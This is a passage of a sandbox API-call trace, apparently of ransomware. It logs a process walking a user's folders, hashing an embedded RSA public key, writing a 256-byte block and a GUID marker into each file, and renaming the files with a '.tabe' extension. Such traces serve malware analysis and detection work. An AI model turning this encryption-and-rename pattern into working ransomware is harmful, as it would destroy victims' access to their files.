lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x10fb5, lpOverlapped=0x0) returned 1 [0127.281] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.281] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.281] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.281] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.282] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.282] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.282] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.282] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.282] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.282] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.282] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.282] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.282] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.282] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.283] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10fb5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.283] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.283] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.283] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.283] CloseHandle (hObject=0x618) returned 1 [0127.284] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\cIfArIk5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\cifarik5.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\cIfArIk5.xlsx.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\cifarik5.xlsx.tabe")) returned 1 [0127.285] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c054b0, ftCreationTime.dwHighDateTime=0x1d5d95d, ftLastAccessTime.dwLowDateTime=0x87bf51b0, ftLastAccessTime.dwHighDateTime=0x1d5d8cf, ftLastWriteTime.dwLowDateTime=0x87bf51b0, ftLastWriteTime.dwHighDateTime=0x1d5d8cf, nFileSizeHigh=0x0, nFileSizeLow=0x1391d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="HpUMQqY3afmXhpP3RPn.m4a", cAlternateFileName="HPUMQQ~1.M4A")) returned 1 [0127.285] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\HpUMQqY3afmXhpP3RPn.m4a") returned=".m4a" [0127.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\HpUMQqY3afmXhpP3RPn.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\hpumqqy3afmxhpp3rpn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.286] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=80157) returned 1 [0127.286] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.287] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x138f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.287] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.289] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1391d, lpOverlapped=0x0) returned 1 [0127.290] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.290] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.290] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.290] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866b70) returned 1 [0127.290] CryptCreateHash (in: hProv=0x866b70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.290] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.290] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.291] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.291] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.291] CryptReleaseContext (hProv=0x866b70, dwFlags=0x0) returned 1 [0127.291] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.291] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.291] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.291] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.291] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1391d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.291] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.292] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.292] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.292] CloseHandle (hObject=0x618) returned 1 [0127.293] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\HpUMQqY3afmXhpP3RPn.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\hpumqqy3afmxhpp3rpn.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\HpUMQqY3afmXhpP3RPn.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\hpumqqy3afmxhpp3rpn.m4a.tabe")) returned 1 [0127.295] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdca37810, ftCreationTime.dwHighDateTime=0x1d5e6d9, ftLastAccessTime.dwLowDateTime=0xd873ea60, ftLastAccessTime.dwHighDateTime=0x1d5d93f, ftLastWriteTime.dwLowDateTime=0xd873ea60, ftLastWriteTime.dwHighDateTime=0x1d5d93f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lOsYtxWFHKcHCp_", cAlternateFileName="LOSYTX~1")) returned 1 [0127.295] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70443120, ftCreationTime.dwHighDateTime=0x1d5dc96, ftLastAccessTime.dwLowDateTime=0xa83994e0, ftLastAccessTime.dwHighDateTime=0x1d5d998, ftLastWriteTime.dwLowDateTime=0xa83994e0, ftLastWriteTime.dwHighDateTime=0x1d5d998, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="QWknIzbnk0DsmMMws2", cAlternateFileName="QWKNIZ~1")) returned 1 [0127.295] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f01760, ftCreationTime.dwHighDateTime=0x1d5e157, ftLastAccessTime.dwLowDateTime=0x1a03b40, ftLastAccessTime.dwHighDateTime=0x1d5de91, ftLastWriteTime.dwLowDateTime=0x1a03b40, ftLastWriteTime.dwHighDateTime=0x1d5de91, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="TgWxYm8Le4e.mp3", cAlternateFileName="TGWXYM~1.MP3")) returned 1 [0127.295] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\TgWxYm8Le4e.mp3") returned=".mp3" [0127.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\TgWxYm8Le4e.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\tgwxym8le4e.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.296] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=61633) returned 1 [0127.296] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.297] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf09b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.297] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.298] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xf0c1, lpOverlapped=0x0) returned 1 [0127.299] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.299] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.299] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.299] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.300] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.300] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.300] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.300] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.300] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.300] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.300] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.300] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.300] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.300] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.301] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf0c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.301] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.301] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.301] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.301] CloseHandle (hObject=0x618) returned 1 [0127.302] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\TgWxYm8Le4e.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\tgwxym8le4e.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Yr-pcf 3y122NkdCREb\\lFYNBb9GU\\TgWxYm8Le4e.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yr-pcf 3y122nkdcreb\\lfynbb9gu\\tgwxym8le4e.mp3.tabe")) returned 1 [0127.303] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f01760, ftCreationTime.dwHighDateTime=0x1d5e157, ftLastAccessTime.dwLowDateTime=0x1a03b40, ftLastAccessTime.dwHighDateTime=0x1d5de91, ftLastWriteTime.dwLowDateTime=0x1a03b40, ftLastWriteTime.dwHighDateTime=0x1d5de91, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="TgWxYm8Le4e.mp3", cAlternateFileName="TGWXYM~1.MP3")) returned 0 [0127.303] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.303] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.303] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.303] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0127.303] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0127.303] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0127.303] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.303] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.303] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.303] PathFindFileNameW (pszPath="") returned="" [0127.303] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.305] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.305] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0127.305] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0127.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.305] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=29926) returned 1 [0127.306] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.307] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.307] ReadFile (in: 